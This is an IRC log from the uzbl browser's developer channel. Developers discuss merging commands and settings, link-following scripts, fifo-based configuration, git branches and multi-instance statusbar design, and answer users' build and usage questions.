14:12 < Zaba> DuClare, will that merge of settings & actions actually be done?
14:13 < Zaba> I mean, in near future
14:13 < DuClare> If it's up to me and rob|, then yes
14:13 < DuClare> I'm also pro for merging commands & actions; they're just as overlapping, if not more
14:14 < Zaba> they're different?
14:14 < Dieterbe> merge++;
14:14  * Zaba didn't even notice!
14:14 < Zaba> DuClare, commands & actions would make a lot of sense if merged, indeed.
14:15 < Dieterbe> i've always found it somewhat confusing
14:15 < Dieterbe> the duality
14:15 < Zaba> so get rid of it! :>
14:17 < Dieterbe> yes Zaba , get rid of it !
14:17 < DuClare> If I weren't so busy with this unconditional order to be evaluated as a member of the overly organized crapsociety, I'd be finishing the code by now ;)
14:18 < Zaba> I ain't no good at C, unfortunately.
14:18 < Zaba> I mean, in theory, I know it, in practice.. well..
14:18 < mxey> Zaba: You learn programming by doing.
14:19 < Zaba> mxey, I doubt uzbl is a good place to start, cause I don't know it at all, though.
14:20 < mxey> Read :)
14:20 < Dieterbe> it's not a bad place to start.  it's not too complicated, and there are plenty of things that can be improved
14:20 < DuClare> Yup
14:21 < jouz> Zaba: i contributed my first patch to uzbl without knowing C at all - after 4h of tinkering :)
14:21 < DuClare> On the other hand, contribution is cool, but if it means we have to stop coding and start reviewing & telling how not to do, it might become bothersome :x
14:27 < DuClare> I've got two more exams to attend to.  Graduation party of an acquaintance, and a two-day convention starting on 6.6. hm
14:27  * DuClare is already feeling exhausted :x
14:27 < rob|> on that note, i'll also be away at least next week maybe the week after the next, too
14:28 < DuClare> I'm an introvert.  Socializing and travelling drains me hard.  :x
14:29 < rob|> well, i enjoy travelling to unusual places :)
14:29 < Dieterbe> rob|: where are you going, if i may ask?
14:30 < DuClare> Driving around alone at night is something I find relaxing.
14:30 < rob|> Dieterbe: trekking tour around and hopefully on top of mount Watzmann
14:30 < Dieterbe> yeah me too DuClare :)
14:31 < Dieterbe> rob|: hmm looks like a big one :P
14:31 < DuClare> Backpacking or trekking with at most a couple good fellows could be an interesting experience.
14:32 < rob|> DuClare: absolutly, i'm enjoying it a lot
14:34 < Zaba> If settings are made commands, will `setting_name' get the value? (i.e., when no argument, the new value, is given)
14:37 < rob|> Zaba: probably
14:37 < DuClare> Hmm
14:37 < DuClare> How about commands that take no args?
14:39 < rob|> well, those don't take any value either, right?
14:39 < rob|> i.e. i won't make sens to query them for a value
14:39 < rob|> so just mark them as such and handle them accordingly
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14:40 < DuClare> Hm, I guess.  That means we can't merge foo and toggle_foo to one command
14:41 < rob|> why not?
14:42 < Dieterbe> hm? since when did we decide to drop the 'set' part for set commands? i wanted to have 'set', 'get' and also 'toggle'
14:42 < Dieterbe> (and more, obviously)
14:43 < DuClare> rob|, A toggle doesn't take a parameter.. unless you make it so that there's a special value which denotes "toggle"..
14:43 < DuClare> Dieterbe, What's the use if all commands become "set"?
14:44 < Dieterbe> DuClare: since when will all commands become 'set' ? 'toggle' is a perfect example..
14:44 < rob|> duclare: sure, but that's just the user interface - internally, i.e. the actual function they call can take parameters
14:44 < rob|> or query some variable for a value and set/reset it
14:45 < DuClare> rob|, Yup, but let's imagine we made everything a set, then dropped the redundant sets as they're implied everywhere anyway, merged toggle_insert_mode with insert_mode, which with no parameter toggles it
14:45 < rob|> i mean toggling implies there is a value to toggle
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14:45 < DuClare> How would you get the value of insert_mode?
14:45 < DuClare> The obvious workaround would be to use a symbolic argument for toggle, in which case no arg would always get
14:46 < DuClare> insert_mode toggle
14:46 < rob|> ah, now i get it
14:46 < rob|> well, i would also expose the non-toggle commands to the user
14:46 < rob|> so he could just do "insert_mode" and get the value
14:47 < DuClare> Yup
14:47 < DuClare> But would we have insert_mode and toggle_insert_mode, or could we merge them so that 'insert_mode' gets while 'insert_mode toggle' toggles?
14:48 < DuClare> Having one command for toggling and another for setting absolutely sounds somewhat redundant
14:48 < rob|> well if you don't call them commands but properties than it doesn't look redundant at all ;)
14:49 < Dieterbe> DuClare> insert_mode toggle <-- this is just the reverse notation of 'toggle insert_mode' where toggle is the name of the command, why not use that? then you can have 'toggle <whichever parameter>' and 1 toggle implementation that checks if the var exists, which type it is and whether it can be toggled
14:49 < rob|> hmm, yeah also a good idea
14:50 < rob|> but then we could as well keep the 'GET'
14:50 < Dieterbe> yeah..
14:51 < Dieterbe> i don't think we should try to make shortcuts here. when we need to expand the 'protocol' there must be room for expansion, not for ugly workarounds
14:51 < rob|> so we would have variables (== properties) that can take a value or be queried for a value and a set of functions (toggle, what else?) that work on properties
14:52 < rob|> s/functions/commands
14:52 < rob|>  /
14:52 < DuClare> Dieterbe, Well, I was thinking of dumping "commands and variables" and making everything a command which sets/gets a variable and/or execs the callback tied to it
14:53 < DuClare> IMHO it'd only simplify things
14:53 < DuClare> We have a hash table like action names -> func ptrs, and we have a table like var name -> func ptr + type
14:54 < Dieterbe> so.. how will you implement toggle then? and what if we want to add new things later? like <insert verb here> 'variable'
14:55 < DuClare> If we merge them, what previously were "variables" will become analogous to getter & setter functions that set the var and perform the action associated with it; and the rest are functions/methods that don't take a parameter
14:55 < rob|> that would also make it easier to split the command interface to a lib
14:56 < Dieterbe> and the rest are  functions/methods that don't take a parameter <-- can you give an example? so you will be able to write things like this in the fifo: varname <newvalue>, varname (to get the value) and toggle <value> ? where are the functions that don't take parameters? what are they for? or do you mean like reload et all?
14:57 < DuClare> reload, exit
14:58 < rob|> what about 'action = reload' where action is a var and the callback would dispatch to some code based on the value?
14:58 < DuClare> Pretty much like that, but the setter of each variable would take into account symbolic parameters such as "toggle"; we wouldn't have specialized "set" or "toggle" actions for manipulating the vars, because the vars by themselves would be their own setters
14:58 < DuClare> rob|, Hmm
14:58 < Dieterbe> listen my point is simple.  there are more then 2 things you can do to a var. you can get, set and toggle them. in the future there may be more things (dump, or whatever).  We should be able to implement all that in a clean way
14:59 < Dieterbe> DuClare: see that's the problem. why would you repeat the toggle logic in all of the setters then? why not having 1 action?
15:00 < DuClare> Hmm.
15:01 < Dieterbe> all this time we're talking about how we could "solve" the problem with toggle and actions with the "new" approach, but can someone tell me what is wrong with the "old" approach of get <varname>, set <varname>, toggle <varname> and a few extra commands for exit/reload et al (note: rob|'s 'action = reload' looks also interesting)
15:01 < DuClare> Dieterbe, 15'53'46 < DuClare> We have a hash table like action names -> func ptrs, and we have a table like var name ->  func ptr + type
15:02 < DuClare> Strange redundancy, and sometimes it's hard to make the distinction between a variable and an action, since both can perform things anyway
15:03 < Dieterbe> scratch the first hash table then and only use the 2nd ?
15:03 < Dieterbe> oh wait
15:03 < Dieterbe> let me reread
15:03 < Dieterbe> imho we should have a hash table: action names -> f. pointers + varname -> type
15:04 < Dieterbe> why do varnames need to point to f. pointers?
15:04 < DuClare> Because they need to perform things
15:04 < DuClare> "... sometimes it's hard to make the distinction between a variable and an action ..."
15:05 < Dieterbe> aha, now i'm following
15:05 < rob|> Dieterbe: best example status_format, imho it should be a variable but it must update the statusbar immediatelly
15:06 < Dieterbe> well, we could also put a huge switch (varname) case: ... in the 'set' function :P
15:06 < rob|> so having a "special" var "actions" that denotes an action and does something based on its value seems just logical
15:07 < DuClare> Dieterbe, That's only an implementational detail
15:07 < DuClare> Same thing; vars are associated with code that needs to be executed
15:07 < DuClare> Whether a switch or function ptrs
15:07 < Dieterbe> DuClare: yeah ok i get the issue now
15:08 < DuClare> (We had a switch)
15:08 < rob|> which was sloooooooow....
15:08 < DuClare> And harder to extend and just fugly
15:08 < Dieterbe> basically you want to distuingish a multitude of varnames with their associated actions in a clean way (callbacks), but at the same time it would be clean to have several functions like get/set where the 'variable' is the .. variable.
15:09 < Dieterbe> so once the variable is the constant and the function the variable, and in other cases the command (function) is constant and the variable is the variable, if you know what i mean
15:09 < Dieterbe> is there no fancier datastructure that supports this?
15:12 < rob|> well no, the callback works on the variable value (generally) so you won't need what you just described
15:12 < Dieterbe> or what about we do it the DuClare way, but in the cmdline_parse (or whatever it was called), before shelling out to the variable-specific function, check if the argument == "toggle" or any other magic variable. if so, call the generic toggle/.. function with the variable name as argument, otherwise call the variable-function (which does the get/set) which does not need to do the check for 'toggle' and whatnot anymore
15:14 < rob|> well, i'd like to rewrite it in such a way that it'll be easy and logical to use as a lib, too.
15:14 < rob|> so not only the interface to the user but also the C API should be clean and consistent
15:15 < rob|> and callbacks are just the way to go, imho
15:15 < rob|> a bit like what gtk does with its signals
15:16 < Dieterbe> if C would have a 'func_exists' it could help us i think: no need for hash table, just check if callback_<varname> exists
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15:17 < rob|> well, how would you check for a function name in a compiled executable?
15:17 < rob|> i'll think a bit more about this thing and eventually write to the ML so we can discuss it in deep
15:18 < DuClare> Yup
15:18 < DuClare> I'm leaving for an exam
15:18 < DuClare> Bubbles o/ →
15:18 < rob|> good luck!
15:18 < rob|> bye..
15:19 < Dieterbe> dito
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16:09 < Zaba> hmm
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16:24 < sscj> Dieterbe: my latest linkfollow.js works pretty much like vimperator now
16:25 < sscj> except it's a little buggy when it comes to removing classes from the html elements, so if you use the stylesheet hinting, there will be residual highlights if you type too fast
16:26 < Dieterbe> great
16:27 < sscj> it's a bit of a ugly mess right now and could use some refactoring though
16:27 < Dieterbe> just work together with jouz on the merging/refactoring stuff
16:27 < Dieterbe> we have now.. 3 ? link following scripts or so
16:27 < Zaba> looks like it
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16:30 < Zaba> Dieterbe, what do you think about merging commands and actions?
16:32 < Dieterbe> 14:15:11 < Dieterbe> i've always found it somewhat confusing
16:32 < Dieterbe> 14:15:18 < Dieterbe> the duality
16:32 < Dieterbe> my opinion hasn't changed since then :P
16:32 < Zaba> aha..
16:33 < Dieterbe> the practical implementation of "how" is tricky though and needs to be discussed
16:33 < Dieterbe> i thought rob said he would send a mail to the ML for that
16:34 < Zaba> ah, okay
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16:37 < jouz> sscj: i can't get your linkfollowing to work, does is it enough put "act script linkfollow.js" and the two bindings to the config?
16:38 < jouz> s/does//
16:38 < sscj> jouz: unfortunately not
16:38 < sscj> you need to load the linkfollow.js everytime you change the document
16:39 < sscj> I'm using a load_start_handler script that does "sleep 1; echo "act script linkfollow.js >> $fifo"
16:39 < jouz> ah i see, i'll try that
16:40 < rob|> may i ask why you guys use ">> fifo"?
16:40 < sscj> vOv
16:42 < rob|> well, '>' is enough in this case..
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17:03 < sscj> jouz: did you get it to work?
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17:03 < jouz> sscj: got it working and tested it - the new js-load-approach has its merits. And i like your follow-the-link-text much better than mine! But i liked the return-less following of my one better :) - further some elements get moved slightley if the hints are loaded dunno where that comes from...
17:06 < sscj> personally, I prefer using return so you don't end up visiting a site because of a typo. but to each their own and it should configurable
17:06 < Dieterbe> yeah, make it an option :)
17:07 < jouz> sscj: you are right! returnless is ok for only-number-following, but with textfollowing you can quickly end up with something unexpected :)
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17:14 < Zaba_> hm
17:14 < Zaba_> I think there's a better way to get the commit ID from git in the makefile
17:15 < Zaba_> git log -1 --pretty=format:'%H'
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17:19 < sscj> jouz: we just need to figure out a way to safely load the js code, since it seems like it gets flushed when it starts building the DOM
17:21 < jouz> hmm we do return to cmd mode when a new document is loaded - can't we add an option to load js-scripts in the same place?
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17:24 < Zaba_> does cookie handling work?
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17:24 < jouz> sscj: that would be somewhere in load_commit_cb() i guess
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17:33 < Dieterbe> Zaba_: nope
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17:54 < Deepspawn> Umm can't uzbl open files in the local hard disk? I get this Problem occurred while loading the URL file:///
17:55 < Zaba_> I can load them fine
17:55 < Zaba_> perhaps you actually need to feed it a file rather than a directory
17:55 < neldoreth> Deepspawn: works fine here
17:56 < Deepspawn> neldoreth I guess it doesn't list directories, nvm
17:56 < Zaba_> yeah, it doesn't, why on earth should it
17:57 < Dieterbe> the command you're looking for is 'ls', not 'uzbl' :P
17:57 < Zaba_> indeed
17:58 < Deepspawn> Diterbe, in that case uzbl should like going background and not hijacking my shell
17:59 < Zaba_> Deepspawn, start it with & so it goes into background?
18:00 < Deepspawn> Zaba_ it goes and background and then it suspends himself, why? I don't know.
18:00 < Zaba_> I dunno either
18:00 < Zaba_> I start it from a dwm keybinding anyway
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18:00 < Zaba_> and it works fine then
18:01 < Zaba_> Dieterbe, why does uzbl suspend itself when shell backgrounds it?
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19:06 < DuClare> Doesn't suspend here
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19:12 < r5d> if uri is set in my local config file, the --uri switch becomes useless.
19:13 < r5d> using master branch
19:14 < sscj> yes
19:16 < uranther> so what's all this stuff about libuzbl
19:16 < uranther> who's workin on it
19:20 < DuClare> Nobody
19:20 < DuClare> It's still under consideration.  An idea which hasn't entirely matured yet.
19:23 < uranther> oh ok
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20:56 < DuClare> Meh.
20:57 < DuClare> I got up from bed, and I went back down just as fast. :x
20:58 < uranther> happened to me this morning
20:58 < uranther> i was very late to work :P
20:59  * DuClare needs food urgently.
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21:08 < dunz0r> is there some fast way to reload the config without restarting uzbl?
21:10 < DuClare> Yep.
21:10 < DuClare> 62 bind :rc_       = sh 'cat $1 > $4'
21:13 < dunz0r> I don't have that line in my config. but I'll add it and restart uzbl
21:14 < dunz0r> although the colon seems annoying so I I'll remove it
21:14 < M2tias> I heard you guys were talking about piping to uzbl. Does that work?
21:15 < DuClare> M2tias, Uzbl reads commands from stdin
21:16 < M2tias> ok
21:16 < dunz0r> ok. now I need to echo something like config reloaded somewhere... like the status bar. can this be done?
21:16 < DuClare> Can
21:17 < dunz0r> What do you mean?
21:17 < DuClare> echo "set status_message = config reloaded" > fifo
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21:25 < quakehead> Hi
21:26 < uranther> sup
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21:26 < DuClare> M2tias, Pardon my terse response.  To clarify, you can pipe commands via stdin, and there's a command using which you can "inject" html
21:26 < quakehead> Hi sitwon :)
21:27 < M2tias> DuClare: yeah, I thought so. thanks
21:27 < quakehead> does uzbl handle events yet?
21:30 < Dieterbe> #define event
21:31 < uranther> yeah what's an event
21:32 < quakehead> "let uzbl call them. these scripts are called handlers in the uzbl config. used for handling logging history, handling a new download,.."
21:32 < quakehead> EXTERNAL SCRIPTS in http://www.uzbl.org/readme.php
21:33 < quakehead> do they work?
21:33 < DuClare> They're documented because they're implemented
21:33 < quakehead> Uh-huh. thanks :)
21:33 < Deepspawn> I'm trying to get this working in uzbl Window.open("url","Title") Now the when it's called it  passes trough create_web_view_cb where it's simply discarded
21:33 < quakehead> So what is being discussed now?
21:34 < DuClare> quakehead, "Have a look at the sample configs and scripts!
21:34 < DuClare> That should be enough of an answer..
21:34 < quakehead> I did.
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21:41 < github> uzbl: Robert Manea experimental SHA1-6760049
21:41 < github> fix stupid comment
21:41 < github> http://bit.ly/ZB5Sm
21:41 < github> uzbl: Robert Manea experimental SHA1-d44fa2e
21:41 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
21:41 < github> http://bit.ly/160UhX
21:41 < github> uzbl: Robert Manea experimental SHA1-6dcbd38
21:41 < github> added dump_config action
21:41 < github> http://bit.ly/mWbJ8
21:41 < github> uzbl: Robert Manea experimental SHA1-1c0197e
21:41 < github> added dump identifier to uzbl_cmdprop
21:41 < quakehead> wow
21:41 < github> http://bit.ly/coMvD
21:41 < github> uzbl: Robert Manea experimental SHA1-eacd934
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21:41 < github> added insert_indicator and command_indicator
21:41 < github> http://bit.ly/2vRwR
21:41 < github> uzbl: Robert Manea experimental SHA1-06badff
21:41 < github> make check for html_end_marker safe
21:41 < github> http://bit.ly/n3m2R
21:41 < github> uzbl: Dieter Plaetinck experimental SHA1-54e715a
21:41 < github> Merge commit 'rob/master' into experimental
21:41 < github> http://bit.ly/NZj3t
21:41 < github> uzbl: Dieter Plaetinck experimental SHA1-075fe52
21:41 < github> put sample indicators in config
21:41 < github> http://bit.ly/pIuZS
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21:54 < uranther> rob is hard at work
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22:40 < M2tias> how is the piping supposed to work?
22:40 < M2tias> also, is this bad? "** (uzbl:30549): CRITICAL **: dbus_g_proxy_new_for_name: assertion `connection != NULL' failed"
22:40 < M2tias> 8)
22:42 < M2tias> shouldn't this work?  echo URI "www.google.com" | uzbl
22:42 < M2tias> uri*
22:42 < Dieterbe> nope
22:42 < Dieterbe> echo 'set uri = ...'
22:42 < M2tias> why?
22:43 < uranther> that's the syntax
22:43 < M2tias> echo 'set uri = "www.google.com"' | uzbl
22:43 < M2tias> ?
22:44 < Dieterbe> echo 'set uri = ...'
22:44 < Dieterbe> no ""
22:45 < M2tias> I've probably tried every possible combination :|
22:46 < Dieterbe> and you need an up to date version of uzbl of course
22:46 < Dieterbe> latest experimental or master will do
22:46 < M2tias> hmmh, I thought mine was new enough 8)
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22:55 < uranther> M2tias, Dieterbe just merged the newest experimental branch
22:55 < M2tias> I use the master :|
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22:55 < M2tias> but it works now ♥
22:55 < uranther> the master would be from last night, i think
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22:56 < uranther> word
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23:03 < leeda> could uzbl possibly be compiled on mac os x?
23:06 < uranther> leeda, it should
23:06 < uranther> someone else was wondering the same thing, don't remember who
23:06 < leeda> i will try it
23:06 < uranther> Dieterbe, i found a bug(s) in the parse_cmd_line() code
23:07 < uranther> leeda, webkit-gtk says it is not platform-dependent
23:09 < leeda> i get a lot of errors when i run make
23:11 < uranther> like what? paste to pastebin
23:12 < _19LIONZ> leeda : recent webkit-gtk & libsoup needed
23:12 < uranther> you might check this page http://trac.webkit.org/wiki/BuildingGtk for dependencies
23:12 < leeda> ok
23:18 < sscj> is it possible to disable webinspectors autocompletion thing? it's goddamn annoying
23:19 < DuClare> uranther, What bugs?
23:19 < uranther> DuClare, parse_cmd_line() will only check for the first letter of the cmd and the length of it
23:19 < uranther> so you can type "sex" instead of "set", for example :P
23:20 < DuClare> That's not a bug
23:20 < uranther> why not
23:20 < uranther> shouldn't it do a case-insensitive string comparison?
23:20 < DuClare> It's an undocumented feature which makes things faster and simpler.  Who cares if you can type sex?  You don't have to. :)
23:21 < uranther> oo undocumented feature lol
23:23 < uranther> DuClare, how do i checkout the experimental branch? :/
23:24 < uranther> i'm git-retarded
23:24 < DuClare> checkout experimental
23:24 < DuClare> Sorry
23:24 < DuClare> git checkout experimental
23:24 < uranther> [uzbl]$ git checkout experimental
23:24 < uranther> error: pathspec 'experimental' did not match any file(s) known to git.
23:24 < DuClare> Uh?
23:25 < DuClare> What does git branch display?
23:25 < uranther> master
23:25 < uranther> do i have to make a new working copy?
23:25 < uranther> to get experimental?
23:25 < uranther> i figured i could just checkout over master...
23:25 < DuClare> Try pulling the whole repository
23:26 < DuClare> Or cloning.
23:26 < DuClare> Whose git are you using anyway?
23:26 < uranther> dieterbe's
23:27 < DuClare> Oh
23:27 < DuClare> git checkout origin/experimental
23:27 < uranther> oh ok
23:27 < DuClare> It's technically a remote branch when you clone it
23:27 < DuClare> Origin being the remote
23:28 < uranther> whoa what did i do :P
23:28 < uranther> git branch has (no branch) and master now
23:28 < DuClare> Yeah, because you don't have a local branch for it
23:28 < uranther> i see
23:28 < uranther> so git checkout -b experimental origin/experimental
23:28 < uranther> ?
23:29 < DuClare> Like that, yeah, or just git checkout -b experimental if you already checkouted origin/experimental
23:29 < uranther> i see
23:29 < uranther> sweet
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23:49 < M2tias> uzbl seems to be homophobic. it hanged when it was loading wikipedia article about homosexuality
23:49 < rob|> heh..
23:50 < M2tias> 8)
23:52 < DuClare> :]
23:52 < DuClare> How could it hang :x
23:52 < DuClare> Are you using a cookie handler?
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23:53 < M2tias> I'm using sampleconfig >_>
23:53 < M2tias> I don't know why it hanged
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00:16 < urnthr> what do you all think about using Doxygen http://en.wikipedia.org/wiki/Doxygen ?
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00:26 < DuClare> urnthr, We concluded that eventually we'll use a proper documentation system, but now is not the time for it, as far as the current devs are concerned.
00:26 < DuClare> Doxygen is an option.
00:27 < urnthr> oh ok
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01:29 < sscj>         if(item.href.match(".*#$")){
01:29 < sscj>           simulateMouseOver(item);
01:29 < sscj>         } else {
01:29 < sscj> damnit
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01:31 < sscj> http://github.com/scj/uzbl/blob/2deea7726cf7d7380e9c7b4eb6106d1cdb28984e/examples/scripts/linkfollow.js
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01:54 < sscj> now all I need is cookies and I'll be able to ditch ff
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02:10 < sscj> how come "bind o = KEYCMD :open " doesn't work?
02:14 < rob|_> hmm, what are you intending to do?
02:16 < sscj> emulate vimperator
02:29 < rob|_> i suppose you want this:   bind :open _ = uri %s   and  bind o = sh 'echo "keycmd :open " > $4'
02:29 < rob|_> there probably should be a keycmd action
02:34 < sscj> I tried that but didn't work. turns out my shell_cmd needed updating
02:34 < sscj> thx
02:34 < rob|_> sure thing
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05:37 < urnthr> does caching need to be implemented in uzbl?
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06:00 < urnthr> or should something like Squid be used?
06:09 < urnthr> or https://bugs.webkit.org/show_bug.cgi?id=24001
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06:29 < sm217> Hi. I'm back at last...
06:30 < leeda_> welcome, son
06:31 < sm217> :)
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09:29 < Frots> goodmorning
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10:01 < rob|_> morning.
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10:37 < sscj> is anyone working on the policy handler?
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10:47 < barrucadu> Morning :)
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11:10 < seraphyn> Hi
11:14 < rob|> sscj: not that i know of..
11:27 < DuClare> Morning.
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11:35 < Dieterbe> morning lads
11:35 < Dieterbe> 23:20:52 < uranther> shouldn't it do a case-insensitive string comparison?
11:35 < Dieterbe> 23:20:52 < DuClare> It's an undocumented feature which makes things faster and simpler.  Who cares if you can type sex?  You don't have to. :)
11:35 < Dieterbe> uhm no
11:35 < Dieterbe> i managed to convince rob| at some point that this is not good
11:36 < Dieterbe> "undocumented feature" = bad
11:37 < psychon> Dieterbe: what happened to my patches btw?
11:38 < Dieterbe> psychon: are you the guy who i asked to send them to the ML ?
11:38 < psychon> yeah
11:38 < psychon> http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-May/000018.html
11:38 < Dieterbe> your patches are still in my "to review" queue
11:38 < psychon> ah, ok
11:38 < psychon> I was just wondering since you said "in 4h" more than 20h ago ;)
11:39 < Dieterbe> if you want to speed up the process, fork me on github and push your patches there. then i can easily merge them
11:44 < psychon> hm, ok
11:49 < seraphyn> Small Question, possible to compile on Debian Lenny, Error said he can't find soup.h, but it is installed...?
11:50 < seraphyn> webkit is 1.0.1
11:50 < Morasique> seraphyn: i had that problem too, i had to add libsoup to the makefile
11:51 < Morasique> in the CPPFLAGS and LDFLAGS pkg-config calls, i added libsoup-2.4
11:51 < mxey> xeno has done some work on creating a package for Debian, but he is not around currently.
11:52 < seraphyn> I'll do the same here, but if he had made allready a package, this would be nice
11:52 < mxey> I will ask him when he arrives.
11:55 < seraphyn> Seems like i need the new webkit-version, soup is now not on error
11:56 < seraphyn> Thx Morasique
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12:07 < seraphyn> BRB
12:14 < rob|> Dieterbe: re. the commands, i really don't see a problem with the way they work. also just document the feature if you cosider "no docs == bug"
12:17 < rob|> Dieterbe: alternatively alter the regexes :p
12:17 < Dieterbe> rob|: we already discussed this and in the end you agreed with me :).  documenting exactly how the app behaves is great, and should be goal.  But this makes the documentation more complicated ("the commands are this and that, you can use them, but we only check the first letter so "foo" is valid for command "foobar" etc. it's much more simple to just say "the first word of the command must match a known action". period. no weird exceptions/rules/additions)
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12:20 < rob|> Dieterbe: well, feel free to change them to what you want
12:21 < rob|> i though a bit about the command interface refactoring but didn't come to a conclusion, yet
12:27 < Dieterbe> yeah, in light of the discussion yesterday the above thing may become a moot point
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12:36 < mxey> "scroll_vert 100%" should jump one page forward, right?
12:39 < mxey> Hm, that gives me error output like 'found something after double: %'
12:39 < mxey> So percent is not supported, only pixels. The docs (master branch) seem to off.
12:39 < Zaba_> perhaps you want a newer version.
12:40 < Zaba_> at least, I have code for the percent support in experimental branch here.
12:40 < mxey> Mea culpa - i was reading the docs in the experimental branch, but was still running a binary based on the master branch.
12:41 < Zaba_> makes sense.
12:41 < mxey> seraphyn: http://thehappy.de/~xeno/?p=uzbl%20auf%20Debian%20Lenny <- the post is German, but the packages should work ;)
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13:16 < seraphyn> thx mxey, doesn't madder i'm german, so i put this one on my blog, and i'm happy that i don't need to build every needed libs
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13:18 < xeno|stefan> seraphyn: ping
13:18 < seraphyn> pong xeno|stefan
13:18 < seraphyn> Thx leave a comment @ your blog
13:19 < xeno|stefan> seraphyn: ist ja nett, dass du mich verlinkst, aber lass doch ne url zum backlink da ;)
13:19 < seraphyn> Werde ich machen, Sorry, i'll do that
13:19 < seraphyn> Couldn't be installed via your repository, it seems so
13:20 < xeno|stefan> seraphyn: hmm, i did'nt tried this ;)
13:20 < DuClare> mxey, You're running an old version.
13:21 < xeno|stefan> *try
13:21 < mxey> DuClare: I know, already noticed and said that here ;)
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13:50 < DuClare> rob|, To support multiple actions, should we make bind add a new action to a chain associated with the key, or should we rather use one bind with a special action that is used to define multiple actions?
13:51  * Dieterbe votes option 2
13:51 < Dieterbe> how else would you differ between "add new binding to key" and "overwrite" ?
13:51 < DuClare> Good question.  Both methods have their drawbacks. :l
13:52 < DuClare> Well, I'll go with option 2 for the time being.
13:53 < rob|> yep, this will also integrate nicely with handlers
13:54 < DuClare> Right
13:55 < DuClare> In case you care, I'm doing this so I can get rid of hardcoded actions tied to backspace and esc.. they'll be configurable, among with other keys & arbitrary combinations.
13:55 < rob|> i guess we should offer "keycmd" as action, too
13:56 < DuClare> Yep
14:07 < rob|> btw, if we'd output FocusIn/FocusOut events to stdout/socket as they occur like "HAS_FOCUS xid fifo_path socket_path" we could easily write a script to handle multiple instances with an external app
14:09 < rob|> http://tronche.com/gui/x/xlib/events/input-focus/
14:09 < Zaba_> hm
14:10 < rob|> you'd start uzbl like "uzbl > control_fifo" and the script would monitor control_fifo for HAS_FOCUS/LOST_FOCUS lines..
14:12 < DuClare> rob|, Dieterbe: That reminds.  I forgot to reply when you asked how I'd use one external statusbar for multiple instances.  Basically, to messages I'd add info about focused state, which would be used to ignore (or store away) data coming from instances that are not focused.
14:12 < sscj> about outputting the dom, looks like there is a webkit_web_frame_dump_render_tree in webkitwebframe.h
14:12 < Zaba_> who wrote formfiller.pl?
14:12 < sscj> Zaba_: i did
14:12 < Dieterbe> sscj did
14:13 < Zaba_> sscj, you shouldn't use bareword filehandles, you should use 3-arg open() and you should actually check whether open() succeeds.
14:13 < Dieterbe> DuClare: and what if you have a tiled layout showing multiple instances, and you want to see the status for all of them?
14:14 < DuClare> Dieterbe, Then you find another solution :x
14:15 < Dieterbe> DuClare: i think the statusbar is too tightly coupled (visibility wise) to the main window.  i think keeping the widget as it is the best, but we could allow letting the user create handlers to generate the entire pango string dynamically
14:15 < DuClare> You think?  I don't
14:16 < DuClare> Perhaps it's better to support both ways.
14:16 < Dieterbe> yeah. very simple and common use case: multiple windows in a tiled layout. sure you could write a script that monitors the position of all uzbl windows and places your statusbar in the corresponding places, but that's way more fugly then my suggested approach
14:17 < seraphyn> This Browser rocks, thanks for another way to make my ion3 complete
14:17 < DuClare> It might be common, but it might not be necessary :)  I wouldn't do that, but if both methods are supported, I don't mind letting other people do that
14:18 < DuClare> Dieterbe, I for example don't see window titles except for the focused window when tiled
14:18 < Dieterbe> rob|: why does it matter that we can detect "after the fact" that a window has focus? the whole idea is to create shortcuts and scripts to programatically give specific instances focus
14:18 < DuClare> And a bunch of statusbars are a waste of screen space mostly..
14:19 < Dieterbe> DuClare: hmm.. maybe if we go the status-handler way, we could implement both ways: whatever the user echo's on stdout is printed in the built-in statusbar (if toggled on), but in the script no one is stopping you from drawing your own thingies with dzen2 or whatever
14:20 < DuClare> Dieterbe, Yep
14:21 < rob|> Dieterbe: well, you somehow have to track those instances
14:21 < rob|> Dieterbe: how would you give focus to a instance without knowing it xid/fifo_path?
14:21 < rob|> *its
14:22 < rob|> from an external script that is
14:27 < Dieterbe> rob|: what I had in mind was something like this: for i in `/tmp/uzbl_fifo_*`; do "poll for current uri, page state, name, tag"; done. -> present a nice list using dmenu-vertical of all instances along with their properties -> user picks a new one -> you know the fifo filename
14:27 < Dieterbe> that would be the "graphical selector" way
14:27 < Zaba_> just /tmp/uzbl_fifo_*
14:28 < Dieterbe> their would also be shortcuts "foxus next from same tag" etc, which would also look to all /tmp/uzbl_fifo_*
14:28 < Dieterbe> Zaba_: right.
14:28 < rob|> Dieterbe: ok, but what happens if the user creates a new instance while the selctor is running?
14:28 < rob|> *selector script
14:29 < Dieterbe> rob|: dmenu (and dmenu-vertical) do not update in real time.  so url changes, name changes, new instances will not be visible in dmenu
14:29 < rob|> hu? sure they can be told to do so
14:30 < Zaba_> sscj, also, you should use $ENV{EDITOR} for the editor.
14:31 < Zaba_> sscj, and you shouldn't use Switch.pm
14:31 < Dieterbe> Zaba_: i disagree, because the editor in formfiller also involves running a terminal window and things like that
14:31 < rob|> Dieterbe: also, this will only work if all uzbl instances use the same fifo_dir (or a set of predifined dirs)
14:31 < Zaba_> Dieterbe, yes and?
14:31 < Dieterbe> Zaba_: or launching a graphical editor.
14:32 < Zaba_> $EDITOR is mostly set to something terminal-oriented
14:32 < Dieterbe> of course, but $EDITOR is meant to be used interactively in the same shell you invoke it from
14:32 < Zaba_> sscj, besides, why not use LWP::Simple or something to fetch the page?
14:32 < Dieterbe> rob|: yep. it's up to the user to define his fifo "filename policy" and configure his scripts accordingly
14:33 < DuClare> Crap..
14:33 < sscj> what's wrong with switch.pm?
14:34 < Zaba_> sscj, it's crap and dangerous and leads to obscure bugs you just don't want to spend time finding.
14:36 < DuClare> The statusbar and the way we do input pisseth me off over and over again...
14:36 < sscj> Zaba_: and you're right about curl. it should be changed to wget, since it's in base
14:37 < Zaba_> sscj, eh?
14:37 < sscj> Dieterbe wanted to keep it as dependency free as possible
14:37 < Zaba_> sscj, wget's no better
14:37 < Zaba_> sscj, even worse because wget will also be racy
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14:38 < sscj> but it is just a workaround until there's some way to poll uzbl for its DOM
14:38 < Zaba_> sscj, will there be? Then keep it as curl for no.  No? Use a perl module for fetching things.
14:39 < Zaba_> sscj, you should use 3-arg open() instead of ">>$filename" or anything similar, too.
14:40 < Dieterbe> rob|: so what do you think about my approach? also, what suggestions/improvements/alternatives did you have in mind?
14:42 < rob|> Dieterbe: well, imo your approach is a bit unflexible. monitoring for focus events is a truly dynamic approach to multiple instance management, where the display app can track state changes in real time
